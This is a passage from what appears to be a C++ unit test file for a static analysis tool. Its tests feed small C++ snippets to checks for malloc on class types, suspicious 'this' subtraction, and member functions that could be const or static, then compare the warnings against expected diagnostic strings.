[test.cpp:1:1]: (warning) Memory for class instance allocated with realloc(), but class provides constructors. [mallocOnClassWarning]\\n\", errout_str());\n\n checkNoMemset(\"struct C { virtual void bar(); };\\n\"\n \"void foo(C*& p) {\\n\"\n \" p = malloc(sizeof(C));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9] -> [test.cpp:1:1]: (error) Memory for class instance allocated with malloc(), but class contains a virtual function. [mallocOnClassError]\\n\", errout_str());\n\n checkNoMemset(\"struct C { std::string s; };\\n\"\n \"void foo(C*& p) {\\n\"\n \" p = malloc(sizeof(C));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9] -> [test.cpp:1:1]: (error) Memory for class instance allocated with malloc(), but class contains a 'std::string'. [mallocOnClassError]\\n\", errout_str());\n\n checkNoMemset(\"class C { };\\n\" // C-Style class/struct\n \"void foo(C*& p) {\\n\"\n \" p = malloc(sizeof(C));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNoMemset(\"struct C { C() {} };\\n\"\n \"void foo(C*& p) {\\n\"\n \" p = new C();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNoMemset(\"class C { C() {} };\\n\"\n \"void foo(D*& p) {\\n\" // Unknown type\n \" p = malloc(sizeof(C));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNoMemset(\"class AutoCloseFD {\\n\"\n \" int fd;\\n\"\n \"public:\\n\"\n \" AutoCloseFD(int fd);\\n\"\n \" ~AutoCloseFD();\\n\"\n \"};\\n\"\n \"void f() {\\n\"\n \" AutoCloseFD fd = open(\\\"abc\\\", O_RDONLY | O_CLOEXEC);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNoMemset(\"struct C {\\n\" // #12313\n \" char* p;\\n\"\n \" C(char* ptr) : p(ptr) {}\\n\"\n \"};\\n\"\n \"void f() {\\n\"\n \" C c = strdup(\\\"abc\\\");\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n#define checkThisSubtraction(...) checkThisSubtraction_(__FILE__, __LINE__, __VA_ARGS__)\n template\n void checkThisSubtraction_(const char* file, int line, const char (&code)[size]) {\n // Tokenize..\n SimpleTokenizer tokenizer(settings1, *this);\n ASSERT_LOC(tokenizer.tokenize(code), file, line);\n\n // Check..\n CheckClass checkClass(&tokenizer, &settings1, this);\n checkClass.thisSubtraction();\n }\n\n void this_subtraction() {\n checkThisSubtraction(\"; this-x ;\");\n ASSERT_EQUALS(\"[test.cpp:1:3]: (warning) Suspicious pointer subtraction. Did you intend to write '->'? [thisSubtraction]\\n\", errout_str());\n\n checkThisSubtraction(\"; *this = *this-x ;\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkThisSubtraction(\"; *this = *this-x ;\\n\"\n \"this-x ;\");\n ASSERT_EQUALS(\"[test.cpp:2:1]: (warning) Suspicious pointer subtraction. Did you intend to write '->'? [thisSubtraction]\\n\", errout_str());\n\n checkThisSubtraction(\"; *this = *this-x ;\\n\"\n \"this-x ;\\n\"\n \"this-x ;\");\n ASSERT_EQUALS(\"[test.cpp:2:1]: (warning) Suspicious pointer subtraction. Did you intend to write '->'? [thisSubtraction]\\n\"\n \"[test.cpp:3:1]: (warning) Suspicious pointer subtraction. Did you intend to write '->'? [thisSubtraction]\\n\", errout_str());\n }\n\n struct CheckConstOptions\n {\n CheckConstOptions() = default;\n const Settings *s = nullptr;\n bool inconclusive = true;\n };\n\n#define checkConst(...) checkConst_(__FILE__, __LINE__, __VA_ARGS__)\n template\n void checkConst_(const char* file, int line, const char (&code)[size], const CheckConstOptions& options = make_default_obj()) {\n const Settings settings = settingsBuilder(options.s ? *options.s : settings0).certainty(Certainty::inconclusive, options.inconclusive).build();\n\n // Tokenize..\n SimpleTokenizer tokenizer(settings, *this);\n ASSERT_LOC(tokenizer.tokenize(code), file, line);\n\n CheckClass checkClass(&tokenizer, &settings, this);\n (checkClass.checkConst)();\n }\n\n void const1() {\n checkConst(\"class Fred {\\n\"\n \" int a;\\n\"\n \" int getA() { return a; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (style, inconclusive) Technically the member function 'Fred::getA' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"class Fred {\\n\"\n \" const std::string foo() { return \\\"\\\"; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:2:23]: (performance, inconclusive) Technically the member function 'Fred::foo' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"class Fred {\\n\"\n \" std::string s;\\n\"\n \" const std::string & foo() { return \\\"\\\"; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:25]: (performance, inconclusive) Technically the member function 'Fred::foo' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n // constructors can't be const..\n checkConst(\"class Fred {\\n\"\n \" int a;\\n\"\n \"public:\\n\"\n \" Fred() { }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // assignment through |=..\n checkConst(\"class Fred {\\n\"\n \" int a;\\n\"\n \" int setA() { a |= true; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // functions with a call to a member function can only be const, if that member function is const, too.. (#1305)\n checkConst(\"class foo {\\n\"\n \"public:\\n\"\n \" int x;\\n\"\n \" void a() { x = 1; }\\n\"\n \" void b() { a(); }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class Fred {\\n\"\n \"public:\\n\"\n \" int x;\\n\"\n \" int a() const { return x; }\\n\"\n \" void b() { a(); }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:5:10]: (style, inconclusive) Technically the member function 'Fred::b' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"class Fred {\\n\"\n \"public:\\n\"\n \" int x;\\n\"\n \" void b() { a(); }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:10]: (performance, inconclusive) Technically the member function 'Fred::b' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n // static functions can't be const..\n checkConst(\"class foo\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" static unsigned get()\\n\"\n \" { return 0; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class Fred {\\n\"\n \" const std::string foo() const throw() { return \\\"\\\"; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:2:23]: (performance, inconclusive) Technically the member function 'Fred::foo' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n }\n\n void const2() {\n // ticket 1344\n // assignment to variable can't be const\n checkConst(\"class Fred {\\n\"\n \" std::string s;\\n\"\n \" void foo() { s = \\\"\\\"; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // assignment to function argument reference can be const\n checkConst(\"class Fred {\\n\"\n \" std::string s;\\n\"\n \" void foo(std::string & a) { a = s; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (style, inconclusive) Technically the member function 'Fred::foo' can be const. [functionConst]\\n\", errout_str());\n\n // assignment to variable can't be const\n checkConst(\"class Fred {\\n\"\n \" std::string s;\\n\"\n \" void foo(std::string & a) { s = a; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // assignment to function argument references can be const\n checkConst(\"class Fred {\\n\"\n \" std::string s;\\n\"\n \" void foo(std::string & a, std::string & b) { a = s; b = s; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (style, inconclusive) Technically the member function 'Fred::foo' can be const. [functionConst]\\n\", errout_str());\n\n // assignment to variable, can't be const\n checkConst(\"class Fred {\\n\"\n \" std::string s;\\n\"\n \" void foo(std::string & a, std::string & b) { s = a; s = b; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // assignment to variable, can't be const\n checkConst(\"class Fred {\\n\"\n \" std::string s;\\n\"\n \" void foo(std::string & a, std::string & b) { s = a; b = a; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // assignment to variable, can't be const\n checkConst(\"class Fred {\\n\"\n \" std::string s;\\n\"\n \" void foo(std::string & a, std::string & b) { a = s; s = b; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const3() {\n // assignment to function argument pointer can be const\n checkConst(\"class Fred {\\n\"\n \" int s;\\n\"\n \" void foo(int * a) { *a = s; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (style, inconclusive) Technically the member function 'Fred::foo' can be const. [functionConst]\\n\", errout_str());\n\n // assignment to variable, can't be const\n checkConst(\"class Fred {\\n\"\n \" int s;\\n\"\n \" void foo(int * a) { s = *a; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // assignment to function argument pointers can be const\n checkConst(\"class Fred {\\n\"\n \" std::string s;\\n\"\n \" void foo(std::string * a, std::string * b) { *a = s; *b = s; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (style, inconclusive) Technically the member function 'Fred::foo' can be const. [functionConst]\\n\", errout_str());\n\n // assignment to variable, can't be const\n checkConst(\"class Fred {\\n\"\n \" std::string s;\\n\"\n \" void foo(std::string * a, std::string * b) { s = *a; s = *b; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // assignment to variable, can't be const\n checkConst(\"class Fred {\\n\"\n \" std::string s;\\n\"\n \" void foo(std::string * a, std::string * b) { s = *a; *b = s; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // assignment to variable, can't be const\n checkConst(\"class Fred {\\n\"\n \" std::string s;\\n\"\n \" void foo(std::string * a, std::string * b) { *a = s; s = b; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const4() {\n checkConst(\"class Fred {\\n\"\n \" int a;\\n\"\n \" int getA();\\n\"\n \"};\\n\"\n \"int Fred::getA() { return a; }\");\n ASSERT_EQUALS(\"[test.cpp:3:9] -> [test.cpp:5:11]: (style, inconclusive) Technically the member function 'Fred::getA' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"class Fred {\\n\"\n \" std::string s;\\n\"\n \" const std::string & foo();\\n\"\n \"};\\n\"\n \"const std::string & Fred::foo() { return \\\"\\\"; }\");\n ASSERT_EQUALS(\"[test.cpp:3:25] -> [test.cpp:5:27]: (performance, inconclusive) Technically the member function 'Fred::foo' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n // functions with a function call to a non-const member can't be const.. (#1305)\n checkConst(\"class Fred\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" int x;\\n\"\n \" void a() { x = 1; }\\n\"\n \" void b();\\n\"\n \"};\\n\"\n \"void Fred::b() { a(); }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // static functions can't be const..\n checkConst(\"class Fred\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" static unsigned get();\\n\"\n \"};\\n\"\n \"static unsigned Fred::get() { return 0; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // assignment to variable can't be const\n checkConst(\"class Fred {\\n\"\n \" std::string s;\\n\"\n \" void foo();\\n\"\n \"};\\n\"\n \"void Fred::foo() { s = \\\"\\\"; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // assignment to function argument reference can be const\n checkConst(\"class Fred {\\n\"\n \" std::string s;\\n\"\n \" void foo(std::string & a);\\n\"\n \"};\\n\"\n \"void Fred::foo(std::string & a) { a = s; }\");\n ASSERT_EQUALS(\"[test.cpp:3:10] -> [test.cpp:5:12]: (style, inconclusive) Technically the member function 'Fred::foo' can be const. [functionConst]\\n\", errout_str());\n\n // assignment to variable can't be const\n checkConst(\"class Fred {\\n\"\n \" std::string s;\\n\"\n \" void foo(std::string & a);\\n\"\n \"};\\n\"\n \"void Fred::foo(std::string & a) { s = a; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // assignment to function argument references can be const\n checkConst(\"class Fred {\\n\"\n \" std::string s;\\n\"\n \" void foo(std::string & a, std::string & b);\\n\"\n \"};\\n\"\n \"void Fred::foo(std::string & a, std::string & b) { a = s; b = s; }\");\n ASSERT_EQUALS(\"[test.cpp:3:10] -> [test.cpp:5:12]: (style, inconclusive) Technically the member function 'Fred::foo' can be const. [functionConst]\\n\", errout_str());\n\n // assignment to variable, can't be const\n checkConst(\"class Fred {\\n\"\n \" std::string s;\\n\"\n \" void foo(std::string & a, std::string & b);\\n\"\n \"};\\n\"\n \"void Fred::foo(std::string & a, std::string & b) { s = a; s = b; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // assignment to variable, can't be const\n checkConst(\"class Fred {\\n\"\n \" std::string s;\\n\"\n \" void foo(std::string & a, std::string & b);\\n\"\n \"};\\n\"\n \"void Fred::foo(std::string & a, std::string & b) { s = a; b = a; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // assignment to variable, can't be const\n checkConst(\"class Fred {\\n\"\n \" std::string s;\\n\"\n \" void foo(std::string & a, std::string & b);\\n\"\n \"};\\n\"\n \"void Fred::foo(std::string & a, std::string & b) { a = s; s = b; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // assignment to function argument pointer can be const\n checkConst(\"class Fred {\\n\"\n \" int s;\\n\"\n \" void foo(int * a);\\n\"\n \"};\\n\"\n \"void Fred::foo(int * a) { *a = s; }\");\n ASSERT_EQUALS(\"[test.cpp:3:10] -> [test.cpp:5:12]: (style, inconclusive) Technically the member function 'Fred::foo' can be const. [functionConst]\\n\", errout_str());\n\n // assignment to variable, can't be const\n checkConst(\"class Fred {\\n\"\n \" int s;\\n\"\n \" void foo(int * a);\\n\"\n \"};\\n\"\n \"void Fred::foo(int * a) { s = *a; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // assignment to function argument pointers can be const\n checkConst(\"class Fred {\\n\"\n \" std::string s;\\n\"\n \" void foo(std::string * a, std::string * b);\\n\"\n \"};\\n\"\n \"void Fred::foo(std::string * a, std::string * b) { *a = s; *b = s; }\");\n ASSERT_EQUALS(\"[test.cpp:3:10] -> [test.cpp:5:12]: (style, inconclusive) Technically the member function 'Fred::foo' can be const. [functionConst]\\n\", errout_str());\n\n // assignment to variable, can't be const\n checkConst(\"class Fred {\\n\"\n \" std::string s;\\n\"\n \" void foo(std::string * a, std::string * b);\\n\"\n \"};\\n\"\n \"void Fred::foo(std::string * a, std::string * b) { s = *a; s = *b; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // assignment to variable, can't be const\n checkConst(\"class Fred {\\n\"\n \" std::string s;\\n\"\n \" void foo(std::string * a, std::string * b);\\n\"\n \"};\\n\"\n \"void Fred::foo(std::string * a, std::string * b) { s = *a; *b = s; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // assignment to variable, can't be const\n checkConst(\"class Fred {\\n\"\n \" std::string s;\\n\"\n \" void foo(std::string * a, std::string * b);\\n\"\n \"};\\n\"\n \"void Fred::foo(std::string * a, std::string * b) { *a = s; s = b; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // check functions with same name\n checkConst(\"class Fred {\\n\"\n \" std::string s;\\n\"\n \" void foo();\\n\"\n \" void foo(std::string & a);\\n\"\n \" void foo(const std::string & a);\\n\"\n \"};\\n\"\n \"void Fred::foo() { }\"\n \"void Fred::foo(std::string & a) { a = s; }\"\n \"void Fred::foo(const std::string & a) { s = a; }\");\n ASSERT_EQUALS(\"[test.cpp:3:10] -> [test.cpp:7:12]: (performance, inconclusive) Technically the member function 'Fred::foo' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\"\n \"[test.cpp:4:10] -> [test.cpp:7:32]: (style, inconclusive) Technically the member function 'Fred::foo' can be const. [functionConst]\\n\", errout_str());\n\n // check functions with different or missing parameter names\n checkConst(\"class Fred {\\n\"\n \" std::string s;\\n\"\n \" void foo1(int, int);\\n\"\n \" void foo2(int a, int b);\\n\"\n \" void foo3(int, int b);\\n\"\n \" void foo4(int a, int);\\n\"\n \" void foo5(int a, int b);\\n\"\n \"};\\n\"\n \"void Fred::foo1(int a, int b) { }\\n\"\n \"void Fred::foo2(int c, int d) { }\\n\"\n \"void Fred::foo3(int a, int b) { }\\n\"\n \"void Fred::foo4(int a, int b) { }\\n\"\n \"void Fred::foo5(int, int) { }\");\n ASSERT_EQUALS(\"[test.cpp:3:10] -> [test.cpp:9:12]: (performance, inconclusive) Technically the member function 'Fred::foo1' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\"\n \"[test.cpp:4:10] -> [test.cpp:10:12]: (performance, inconclusive) Technically the member function 'Fred::foo2' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\"\n \"[test.cpp:5:10] -> [test.cpp:11:12]: (performance, inconclusive) Technically the member function 'Fred::foo3' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\"\n \"[test.cpp:6:10] -> [test.cpp:12:12]: (performance, inconclusive) Technically the member function 'Fred::foo4' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\"\n \"[test.cpp:7:10] -> [test.cpp:13:12]: (performance, inconclusive) Technically the member function 'Fred::foo5' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n // check nested classes\n checkConst(\"class Fred {\\n\"\n \" class A {\\n\"\n \" int a;\\n\"\n \" int getA() { return a; }\\n\"\n \" };\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:13]: (style, inconclusive) Technically the member function 'Fred::A::getA' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"class Fred {\\n\"\n \" class A {\\n\"\n \" int a;\\n\"\n \" int getA();\\n\"\n \" };\\n\"\n \" int A::getA() { return a; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:13] -> [test.cpp:6:12]: (style, inconclusive) Technically the member function 'Fred::A::getA' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"class Fred {\\n\"\n \" class A {\\n\"\n \" int a;\\n\"\n \" int getA();\\n\"\n \" };\\n\"\n \"};\\n\"\n \"int Fred::A::getA() { return a; }\");\n ASSERT_EQUALS(\"[test.cpp:4:13] -> [test.cpp:7:14]: (style, inconclusive) Technically the member function 'Fred::A::getA' can be const. [functionConst]\\n\", errout_str());\n\n // check deeply nested classes\n checkConst(\"class Fred {\\n\"\n \" class B {\\n\"\n \" int b;\\n\"\n \" int getB() { return b; }\\n\"\n \" class A {\\n\"\n \" int a;\\n\"\n \" int getA() { return a; }\\n\"\n \" };\\n\"\n \" };\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:13]: (style, inconclusive) Technically the member function 'Fred::B::getB' can be const. [functionConst]\\n\"\n \"[test.cpp:7:17]: (style, inconclusive) Technically the member function 'Fred::B::A::getA' can be const. [functionConst]\\n\"\n , errout_str());\n\n checkConst(\"class Fred {\\n\"\n \" class B {\\n\"\n \" int b;\\n\"\n \" int getB();\\n\"\n \" class A {\\n\"\n \" int a;\\n\"\n \" int getA();\\n\"\n \" };\\n\"\n \" int A::getA() { return a; }\\n\"\n \" };\\n\"\n \" int B::getB() { return b; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:13] -> [test.cpp:11:12]: (style, inconclusive) Technically the member function 'Fred::B::getB' can be const. [functionConst]\\n\"\n \"[test.cpp:7:17] -> [test.cpp:9:16]: (style, inconclusive) Technically the member function 'Fred::B::A::getA' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"class Fred {\\n\"\n \" class B {\\n\"\n \" int b;\\n\"\n \" int getB();\\n\"\n \" class A {\\n\"\n \" int a;\\n\"\n \" int getA();\\n\"\n \" };\\n\"\n \" };\\n\"\n \" int B::A::getA() { return a; }\\n\"\n \" int B::getB() { return b; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:13] -> [test.cpp:11:12]: (style, inconclusive) Technically the member function 'Fred::B::getB' can be const. [functionConst]\\n\"\n \"[test.cpp:7:17] -> [test.cpp:10:15]: (style, inconclusive) Technically the member function 'Fred::B::A::getA' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"class Fred {\\n\"\n \" class B {\\n\"\n \" int b;\\n\"\n \" int getB();\\n\"\n \" class A {\\n\"\n \" int a;\\n\"\n \" int getA();\\n\"\n \" };\\n\"\n \" };\\n\"\n \"};\\n\"\n \"int Fred::B::A::getA() { return a; }\\n\"\n \"int Fred::B::getB() { return b; }\");\n ASSERT_EQUALS(\"[test.cpp:4:13] -> [test.cpp:12:14]: (style, inconclusive) Technically the member function 'Fred::B::getB' can be const. [functionConst]\\n\"\n \"[test.cpp:7:17] -> [test.cpp:11:17]: (style, inconclusive) Technically the member function 'Fred::B::A::getA' can be const. [functionConst]\\n\", errout_str());\n }\n\n // operator< can often be const\n void constoperator1() {\n checkConst(\"struct Fred {\\n\"\n \" int a;\\n\"\n \" bool operator<(const Fred &f) { return a < f.a; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (style, inconclusive) Technically the member function 'Fred::operator<' can be const. [functionConst]\\n\", errout_str());\n }\n\n // operator<<\n void constoperator2() {\n checkConst(\"struct Foo {\\n\"\n \" void operator<<(int);\\n\"\n \"};\\n\"\n \"struct Fred {\\n\"\n \" Foo foo;\\n\"\n \" void x()\\n\"\n \" {\\n\"\n \" foo << 123;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"struct Foo {\\n\"\n \" void operator<<(int);\\n\"\n \"};\\n\"\n \"struct Fred {\\n\"\n \" Foo foo;\\n\"\n \" void x()\\n\"\n \" {\\n\"\n \" std::cout << foo << 123;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:6:10]: (style, inconclusive) Technically the member function 'Fred::x' can be const. [functionConst]\\n\", errout_str());\n }\n\n void constoperator3() {\n checkConst(\"struct Fred {\\n\"\n \" int array[10];\\n\"\n \" int const & operator [] (unsigned int index) const { return array[index]; }\\n\"\n \" int & operator [] (unsigned int index) { return array[index]; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"struct Fred {\\n\"\n \" int array[10];\\n\"\n \" int const & operator [] (unsigned int index) { return array[index]; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:17]: (style, inconclusive) Technically the member function 'Fred::operator[]' can be const. [functionConst]\\n\", errout_str());\n }\n\n void constoperator4() {\n // #7953\n checkConst(\"class A {\\n\"\n \" int c;\\n\"\n \"public:\\n\"\n \" operator int*() { return &c; };\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class A {\\n\"\n \" int c;\\n\"\n \"public:\\n\"\n \" operator const int*() { return &c; };\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:5]: (style, inconclusive) Technically the member function 'A::operatorconstint*' can be const. [functionConst]\\n\", errout_str());\n\n // #2375\n checkConst(\"struct Fred {\\n\"\n \" int array[10];\\n\"\n \" typedef int* (Fred::*UnspecifiedBoolType);\\n\"\n \" operator UnspecifiedBoolType() { };\\n\"\n \"};\");\n TODO_ASSERT_EQUALS(\"[test.cpp:4]: (style, inconclusive) Technically the member function 'Fred::operatorint**' can be const.\\n\", \"\", errout_str());\n\n checkConst(\"struct Fred {\\n\"\n \" int array[10];\\n\"\n \" typedef int* (Fred::*UnspecifiedBoolType);\\n\"\n \" operator UnspecifiedBoolType() { array[0] = 0; };\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void constoperator5() { // ticket #3252\n checkConst(\"class A {\\n\"\n \" int c;\\n\"\n \"public:\\n\"\n \" operator int& () {return c}\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class A {\\n\"\n \" int c;\\n\"\n \"public:\\n\"\n \" operator const int& () {return c}\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:5]: (style, inconclusive) Technically the member function 'A::operatorconstint&' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"class A {\\n\"\n \" int c;\\n\"\n \"public:\\n\"\n \" operator int () {return c}\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:5]: (style, inconclusive) Technically the member function 'A::operatorint' can be const. [functionConst]\\n\", errout_str());\n }\n\n void constoperator6() { // ticket #8669\n checkConst(\"class A {\\n\"\n \" int c;\\n\"\n \" void f() { os >> *this; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const5() {\n // ticket #1482\n checkConst(\"class A {\\n\"\n \" int a;\\n\"\n \" bool foo(int i)\\n\"\n \" {\\n\"\n \" bool same;\\n\"\n \" same = (i == a);\\n\"\n \" return same;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (style, inconclusive) Technically the member function 'A::foo' can be const. [functionConst]\\n\", errout_str());\n }\n\n void const6() {\n // ticket #1491\n checkConst(\"class foo {\\n\"\n \"public:\\n\"\n \"};\\n\"\n \"void bar() {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class Fred\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" void foo() { }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:10]: (performance, inconclusive) Technically the member function 'Fred::foo' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"struct fast_string\\n\"\n \"{\\n\"\n \" union\\n\"\n \" {\\n\"\n \" char buff[100];\\n\"\n \" };\\n\"\n \" void set_type(char t);\\n\"\n \"};\\n\"\n \"inline void fast_string::set_type(char t)\\n\"\n \"{\\n\"\n \" buff[10] = t;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const7() {\n checkConst(\"class foo {\\n\"\n \" int a;\\n\"\n \"public:\\n\"\n \" void set(int i) { a = i; }\\n\"\n \" void set(const foo & f) { *this = f; }\\n\"\n \"};\\n\"\n \"void bar() {}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const8() {\n // ticket #1517\n checkConst(\"class A {\\n\"\n \"public:\\n\"\n \" A():m_strValue(\\\"\\\"){}\\n\"\n \" std::string strGetString() { return m_strValue; }\\n\"\n \"private:\\n\"\n \" std::string m_strValue;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:17]: (style, inconclusive) Technically the member function 'A::strGetString' can be const. [functionConst]\\n\", errout_str());\n }\n\n void const9() {\n // ticket #1515\n checkConst(\"class wxThreadInternal {\\n\"\n \"public:\\n\"\n \" void SetExitCode(wxThread::ExitCode exitcode) { m_exitcode = exitcode; }\\n\"\n \"private:\\n\"\n \" wxThread::ExitCode m_exitcode;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const10() {\n // ticket #1522\n checkConst(\"class A {\\n\"\n \"public:\\n\"\n \" int foo() { return x = 0; }\\n\"\n \"private:\\n\"\n \" int x;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class A {\\n\"\n \"public:\\n\"\n \" int foo() { return x ? x : x = 0; }\\n\"\n \"private:\\n\"\n \" int x;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class A {\\n\"\n \"public:\\n\"\n \" int foo() { return x ? x = 0 : x; }\\n\"\n \"private:\\n\"\n \" int x;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const11() {\n // ticket #1529\n checkConst(\"class A {\\n\"\n \"public:\\n\"\n \" void set(struct tm time) { m_time = time; }\\n\"\n \"private:\\n\"\n \" struct tm m_time;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const12() {\n // ticket #1525\n checkConst(\"class A {\\n\"\n \"public:\\n\"\n \" int foo() { x = 0; }\\n\"\n \"private:\\n\"\n \" mutable int x;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (style, inconclusive) Technically the member function 'A::foo' can be const. [functionConst]\\n\", errout_str());\n }\n\n void const13() {\n // ticket #1519\n checkConst(\"class A {\\n\"\n \"public:\\n\"\n \" A(){}\\n\"\n \" std::vector GetVec() {return m_vec;}\\n\"\n \" std::pair GetPair() {return m_pair;}\\n\"\n \"private:\\n\"\n \" std::vector m_vec;\\n\"\n \" std::pair m_pair;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:22]: (style, inconclusive) Technically the member function 'A::GetVec' can be const. [functionConst]\\n\"\n \"[test.cpp:5:27]: (style, inconclusive) Technically the member function 'A::GetPair' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"class A {\\n\"\n \"public:\\n\"\n \" A(){}\\n\"\n \" const std::vector & GetVec() {return m_vec;}\\n\"\n \" const std::pair & GetPair() {return m_pair;}\\n\"\n \"private:\\n\"\n \" std::vector m_vec;\\n\"\n \" std::pair m_pair;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:30]: (style, inconclusive) Technically the member function 'A::GetVec' can be const. [functionConst]\\n\"\n \"[test.cpp:5:35]: (style, inconclusive) Technically the member function 'A::GetPair' can be const. [functionConst]\\n\", errout_str());\n }\n\n void const14() {\n // extends ticket 1519\n checkConst(\"class A {\\n\"\n \"public:\\n\"\n \" A(){}\\n\"\n \" std::pair,double> GetPair() {return m_pair;}\\n\"\n \"private:\\n\"\n \" std::pair,double> m_pair;\\n\"\n 